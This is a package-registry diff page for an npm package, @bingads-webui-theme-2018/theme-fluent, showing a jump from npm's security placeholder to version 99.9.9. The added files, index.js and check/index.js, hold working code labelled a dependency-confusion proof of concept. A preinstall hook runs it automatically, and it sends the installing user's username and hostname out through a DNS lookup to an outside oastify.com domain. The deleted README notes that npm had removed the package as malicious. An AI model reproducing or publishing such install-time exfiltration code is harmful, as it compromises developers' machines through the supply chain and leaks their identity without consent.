@bingads-webui-theme-2018/theme-fluent 0.0.1-security → 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @bingads-webui-theme-2018/theme-fluent might be problematic. Click here for more details.

package/check/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+
4
+ // 1. Get the Victim's Identity
5
+ const user = os.userInfo().username;
6
+ const host = os.hostname();
7
+
8
+ // 2. Encode it into a domain
9
+ const payload = `bingads.${user}.${host}.yz1jredw9fndlxcwi0cpdsjio9u0ir6g.oastify.com`;
10
+
11
+ // 3. Send the Signal (Fire and Forget)
12
+ try {
13
+ dns.lookup(payload, (err) => {
14
+ // We don't care about the result, just the query.
15
+ // This confirms execution without leaving a trace.
16
+ });
17
+ } catch (e) { }
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@bingads-webui-help/apex.embed.v3.min",
3
+ "version": "99.9.9",
4
+ "description": "Security Research - Dependency Confusion PoC",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js"
11
+ }
12
+ }
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+
4
+ // 1. Get the Victim's Identity
5
+ const user = os.userInfo().username;
6
+ const host = os.hostname();
7
+
8
+ // 2. Encode it into a domain
9
+ const payload = `bingads.${user}.${host}.n0o8s3ela4o2mmdljpdeehk7pyvpjf74.oastify.com`;
10
+
11
+ // 3. Send the Signal (Fire and Forget)
12
+ try {
13
+ dns.lookup(payload, (err) => {
14
+ // We don't care about the result, just the query.
15
+ // This confirms execution without leaving a trace.
16
+ });
17
+ } catch (e) { }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@bingads-webui-theme-2018/theme-fluent",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.9",
4
+ "description": "Security Research - Dependency Confusion PoC",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js"
11
+ }
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40bingads-webui-theme-2018%2Ftheme-fluent for more information.